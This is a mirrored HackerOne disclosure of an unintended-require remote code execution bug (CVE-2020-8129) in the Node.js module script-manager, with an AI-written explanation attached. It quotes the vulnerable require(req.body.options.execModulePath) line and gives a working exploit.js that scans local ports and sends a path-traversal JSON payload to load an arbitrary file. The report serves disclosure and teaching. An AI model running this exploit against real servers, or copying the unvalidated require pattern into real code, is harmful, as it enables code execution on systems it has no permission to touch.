Skip to content
RCE Disclosed report Intermediate CVE-2020-8129

[script-manager] Unintended require

The script-manager Node.js module dynamically loads code using a path taken from an HTTP request body, allowing an attacker who knows the server port to execute arbitrary JavaScript files. This could lead to unintended code execution on the server.

ermilov Follow

Originally disclosed on HackerOne

  • Disclosed after 6 months

I would like to report Unintended Require in script-manager. It allows loading arbitary non-production code (js files).

Module

module name: script-manager version: 0.8.6 npm page: https://www.npmjs.com/package/script-manager

Module Description

node.js manager for running foreign and potentially dangerous scripts in the cluster

Module Stats

462 downloads in the last day 3729 downloads in the last week 13212 downloads in the last month

Vulnerability

Vulnerability Description

script-manager is a Node.js module wich runs HTTP server as a child process and sends requests to this server. The server dynamically loads (with help of require()) some parts of the code, as long as the path to required code depends on the data from request (req.body.options.execModulePath), if the attacker knows the port of the server it is possible to load code that was not intended to execute.

source code example:

https://github.com/pofider/node-script-manager/blob/master/lib/worker-servers.js#L268

require(req.body.options.execModulePath)(req.body.inputs, callback, function (err, val) {

Detailed description of this bug can be found here: https://nodesecroadmap.fyi/chapter-1/threat-UIR.html

F539727

Steps To Reproduce:

  • create directory for testing mkdir poc cd poc/

  • install package

    npm i script-manager
  • create index.js file with default usage example of script-manager

index.js (example code form https://www.npmjs.com/package/script-manager)

    var scriptManager = require("script-manager")({ numberOfWorkers: 2 });
    
    scriptManager.ensureStarted(function(err) {
     
        /*send user's script including some other specific options into
        wrapper specified by execModulePath*/
        scriptManager.execute({
            script: "return 'Jan';"
        }, {
            execModulePath: path.join(__dirname, "script.js"),
            timeout: 10
        }, function(err, res) {
            console.log(res);
        });
     
    });

script.js

    module.exports = function(inputs, callback, done) {
        var result = require('vm').runInNewContext(inputs.script, {
            require: function() { throw new Error("Not supported"); }
        });
        done(result);
    });
  • create pwn.js file with some arbitary code for testing

pwn.js

    console.log('PWNED')
  • create file exploit.js

main idea of the exploit is to request all ports in order to hit the one which serves the server and send crafted request to it

    {"options": {"rid": 12, "execModulePath": "./../../../pwn.js"}}

where './../../../pwn.js' is the path to script we want to execute

algorithm is simple:

  1. send HTTP request (from example above) to all ports within 1024 - 65535 range
  2. if there is specific response with the error message that contains:
    require(...) is not a function

it means that we found our server and code was executed

exploit.js

    const request = require('request')
    const host = 'localhost'
    let stopEnum = false
    
    /*
     * Sends crafted HTTP request to specific port
     * in order to check if it is the app we are looking for and exploit it
     * 
     * @param {number} port - port number
     * @returns {Promise}
     */
    async function sendRequestToPort(port) {
      return new Promise((resolve, reject) => {
        request.post(
          {
            url: `http://${host}:${port}`,
            // sending json with path to js file we want to execute
            // https://github.com/pofider/node-script-manager/blob/master/lib/worker-servers.js#L268
            json: {"options": {"rid": 12, "execModulePath": "./../../../pwn.js"}}
          },
          (err, req, body) => {
            process.stdout.write(`requested http://${host}:${port}\r`)
            // if there is specific response with the error message it means that we found our server
            // and code was executed
            if (body && body.error && body.error.message === 'require(...) is not a function') {
              console.log(`port is ${port}`)
              stopEnum = true
            }
            resolve()
          }
        )
      })
    }
    
    (async function main(){
      //ports range
      const start = 1024
      const finish = 65535
      
      // split ports range into chunks of 1000
      let first = start
      let last = start + 1000
      while (!stopEnum) {
        if ( last > finish ) {
          last = finish
          stopEnum = true
        }
        const promises = []
        for (let i = first; i <= last; i++) {
          // sending request to every port from range
          promises.push(sendRequestToPort(i))
        }
        await Promise.all(promises)
        first = last + 1
        last = first + 1000
      }
    })()
  • install request library (for exploit.js to work) npm i request
  • run index.js node index.js

  • run exploit.js in another terminal and wait until it finishes (it may take a few minutes) node exploit.js

index.js should log 'PWNED' to terminal

Patch

Supporting Material/References:

  • OS: Linux Mint current
  • Node.js: 10.16.0
  • NPM: 6.9.0

Wrap up

  • I contacted the maintainer to let them know: Y
  • I opened an issue in the related repository: N

Impact

An attacker is able to control the x in require(x) and cause code to load that was not intended to run on the server.

Attachments

script-manager_scheme.png
script-manager_scheme.png From the original on HackerOne

The original report as published on HackerOne, by ermilov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The module uses a user-supplied path in a require() call without validating or restricting it to a safe directory.

Impact

An attacker could execute arbitrary code on the server by controlling the require path, but they must first discover the correct port.

What the attacker needed

Script-manager module installed and running; attacker can reach the server's port; attacker knows or can guess the port

How it was found

  1. Create a test directory and install the script-manager package.
  2. Create an index.js file that starts script-manager with the default example.
  3. Create a script.js file with the example wrapper code.
  4. Create a pwn.js file containing arbitrary code to test execution.
  5. Create an exploit.js file that sends HTTP requests to all ports from 1024 to 65535 with a crafted JSON body containing a path to pwn.js.
  6. Run index.js, then run exploit.js; when the exploit finds the correct port, index.js logs 'PWNED'.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The script-manager module runs a small web server that loads extra code based on what a user sends in a request. Because it trusts the user's input for the file path, an attacker can make it load any file on the server, including malicious code. This is like letting a visitor choose which book you read from your private shelf.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by ermilov

View all

8 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.